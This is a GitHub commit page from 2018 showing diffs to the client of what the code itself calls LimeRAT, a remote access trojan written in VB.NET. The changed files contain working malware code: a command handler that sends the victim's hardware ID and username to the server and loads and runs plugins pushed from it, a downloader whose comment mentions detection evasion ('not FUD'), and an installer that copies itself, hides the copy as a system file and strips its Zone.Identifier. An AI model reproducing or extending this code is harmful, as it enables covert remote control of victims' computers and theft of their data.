Skip to content

Commit

Permalink
Restore
Browse files Browse the repository at this point in the history
  • Loading branch information
Nyrotication committed Dec 7, 2018
1 parent a1ce736 commit c6cac33
Show file tree
Hide file tree
Showing 43 changed files with 8,437 additions and 8,775 deletions.
52 changes: 51 additions & 1 deletion .gitattributes
Original file line number Diff line number Diff line change
@@ -1,3 +1,53 @@
# Auto detect text files and perform LF normalization
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto

###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just comment the entries below and
# uncomment the group further below
###############################################################################

*.sln text eol=crlf
*.csproj text eol=crlf
*.vbproj text eol=crlf
*.vcxproj text eol=crlf
*.vcproj text eol=crlf
*.dbproj text eol=crlf
*.fsproj text eol=crlf
*.lsproj text eol=crlf
*.wixproj text eol=crlf
*.modelproj text eol=crlf
*.sqlproj text eol=crlf
*.wmaproj text eol=crlf

*.xproj text eol=crlf
*.props text eol=crlf
*.filters text eol=crlf
*.vcxitems text eol=crlf


#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary

#*.xproj merge=binary
#*.props merge=binary
#*.filters merge=binary
#*.vcxitems merge=binary
8 changes: 3 additions & 5 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,6 @@ BenchmarkDotNet.Artifacts/
project.lock.json
project.fragment.lock.json
artifacts/
**/Properties/launchSettings.json

# StyleCop
StyleCopReport.xml
Expand Down Expand Up @@ -221,7 +220,7 @@ ClientBin/
*.publishsettings
orleans.codegen.cs

# Including strong name files can present a security risk
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk

Expand Down Expand Up @@ -317,7 +316,7 @@ __pycache__/
# OpenCover UI analysis results
OpenCover/

# Azure Stream Analytics local run output
# Azure Stream Analytics local run output
ASALocalRun/

# MSBuild Binary and Structured Log
Expand All @@ -326,6 +325,5 @@ ASALocalRun/
# NVidia Nsight GPU debugger configuration file
*.nvuser

# MFractors (Xamarin productivity tool) working folder
# MFractors (Xamarin productivity tool) working folder
.mfractor/

8 changes: 4 additions & 4 deletions Project/Client/C_Commands.vb
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,9 @@

Public Class C_Commands

Private Shared SPL = C_Settings.SPL
Private Shared ReadOnly SPL = C_Settings.SPL

Public Shared Sub Data(ByVal b As Byte())
Try : C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName) : Catch : End Try

Dim EN As String = C_Encryption.AES_Decrypt(BS(b))
Dim A As String() = Split(EN, SPL)

Expand Down Expand Up @@ -44,7 +42,6 @@

Case "CPL" 'check if plugin in installed, or ask server to send it
If GTV(A(1)) = Nothing Then
Console.WriteLine(A(1))
C_TcpClient.Send("GPL" + SPL + A(1))
Else
Plugin(GZip(Convert.FromBase64String(GTV(A(1))), False))
Expand All @@ -67,6 +64,8 @@
'Also if you update this method you have to use old LimeRAT to update your clients.
Public Shared Sub Plugin(ByVal B() As Byte, Optional CMD As String = Nothing)
Try
C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName)

For Each Type_ As Type In AppDomain.CurrentDomain.Load(B).GetTypes
For Each GM In Type_.GetMethods
If GM.Name = "CN" Then
Expand All @@ -79,6 +78,7 @@
Next
Next
Catch ex As Exception
C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName)
C_TcpClient.Send("MSG" + SPL + "Plugin Error! " + ex.Message)
End Try
End Sub
Expand Down
2 changes: 1 addition & 1 deletion Project/Client/C_Downloader.vb
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@
End Try

Catch ex As Exception
' C_TcpClient.Send("MSG" + C_Main.SPL + "DWN Error! " + ex.Message) 'Maybe file is not FUD or link problem
C_Main.C.Send("MSG" + C_Main.SPL + "DWN Error! " + ex.Message) 'Maybe file is not FUD or link problem
End Try
End Sub
End Class
Expand Down
52 changes: 23 additions & 29 deletions Project/Client/C_Functions.vb
Original file line number Diff line number Diff line change
Expand Up @@ -34,16 +34,13 @@
End Try
End Function


'credit to njq8
'a better way to split packets
Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word
Function SplitWord(ByVal b As Byte(), ByVal Word As String) As Array ' split bytes by word
Dim a As New Collections.Generic.List(Of Byte())
Dim M As New IO.MemoryStream
Dim MM As New IO.MemoryStream
Dim T As String() = Split(BS(b), WRD)
Dim T As String() = Split(BS(b), Word)
M.Write(b, 0, T(0).Length)
MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length))
MM.Write(b, T(0).Length + Word.Length, b.Length - (T(0).Length + Word.Length))
a.Add(M.ToArray)
a.Add(MM.ToArray)
M.Dispose()
Expand All @@ -60,32 +57,29 @@
End Sub

Public Function GZip(ByVal B As Byte(), ByRef CM As Boolean) As Byte()
On Error Resume Next
If CM Then
Dim buffer As Byte() = Nothing
Using MS As New IO.MemoryStream
Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Compress, True)
Ziped.Write(B, 0, B.Length)
Ziped.Dispose()
MS.Position = 0
buffer = New Byte((CInt(MS.Length) + 1) - 1) {}
MS.Read(buffer, 0, buffer.Length)
MS.Dispose()
End Using
Dim MS As New IO.MemoryStream
Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Compress, True)
Ziped.Write(B, 0, B.Length)
Ziped.Dispose()
MS.Position = 0
Dim buffer As Byte() = New Byte((CInt(MS.Length) + 1) - 1) {}
MS.Read(buffer, 0, buffer.Length)
MS.Dispose()
Return buffer
Else
Dim array As Byte() = Nothing
Using MS As New IO.MemoryStream(B)
Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Decompress)
Dim buffer As Byte() = New Byte(4 - 1) {}
MS.Position = (MS.Length - 5)
MS.Read(buffer, 0, 4)
Dim count As Integer = BitConverter.ToInt32(buffer, 0)
MS.Position = 0
array = New Byte(((count - 1) + 1) - 1) {}
Ziped.Read(array, 0, count)
Ziped.Dispose()
MS.Dispose()
End Using
Dim MS As New IO.MemoryStream(B)
Dim Ziped As New IO.Compression.GZipStream(MS, IO.Compression.CompressionMode.Decompress)
Dim buffer As Byte() = New Byte(4 - 1) {}
MS.Position = (MS.Length - 5)
MS.Read(buffer, 0, 4)
Dim count As Integer = BitConverter.ToInt32(buffer, 0)
MS.Position = 0
Dim array As Byte() = New Byte(((count - 1) + 1) - 1) {}
Ziped.Read(array, 0, count)
Ziped.Dispose()
MS.Dispose()
Return array
End If
End Function
Expand Down
32 changes: 6 additions & 26 deletions Project/Client/C_Installation.vb
Original file line number Diff line number Diff line change
Expand Up @@ -40,32 +40,12 @@

Private Shared Sub AddDrop(ByVal Location As String)
Try
Using fsSource As IO.FileStream = New IO.FileStream(Windows.Forms.Application.ExecutablePath, IO.FileMode.Open, IO.FileAccess.Read)
Dim bytes() As Byte = New Byte((fsSource.Length) - 1) {}
Dim numBytesToRead As Integer = CType(fsSource.Length, Integer)
Dim numBytesRead As Integer = 0

While (numBytesToRead > 0)
Dim n As Integer = fsSource.Read(bytes, numBytesRead,
numBytesToRead)
If (n = 0) Then
Exit While
End If
numBytesRead = (numBytesRead + n)
numBytesToRead = (numBytesToRead - n)

End While
numBytesToRead = bytes.Length

Using fsNew As IO.FileStream = New IO.FileStream(Location,
IO.FileMode.Create, IO.FileAccess.Write)
fsNew.Write(bytes, 0, numBytesToRead)
fsNew.Flush()
fsNew.Close()
End Using
fsSource.Flush()
fsSource.Close()
End Using
Dim NewFile As New IO.FileStream(Location, IO.FileMode.CreateNew)
Dim LEXEBYTES As Byte() = IO.File.ReadAllBytes(Windows.Forms.Application.ExecutablePath)
NewFile.Write(LEXEBYTES, 0, LEXEBYTES.Length)
NewFile.Flush()
NewFile.Close()
IO.File.SetAttributes(C_Settings.fullpath, IO.FileAttributes.System + IO.FileAttributes.Hidden)
DeleteZoneIdentifier(C_Settings.fullpath)
Catch : End Try
End Sub
Expand Down
Loading

0 comments on commit c6cac33

Please sign in to comment.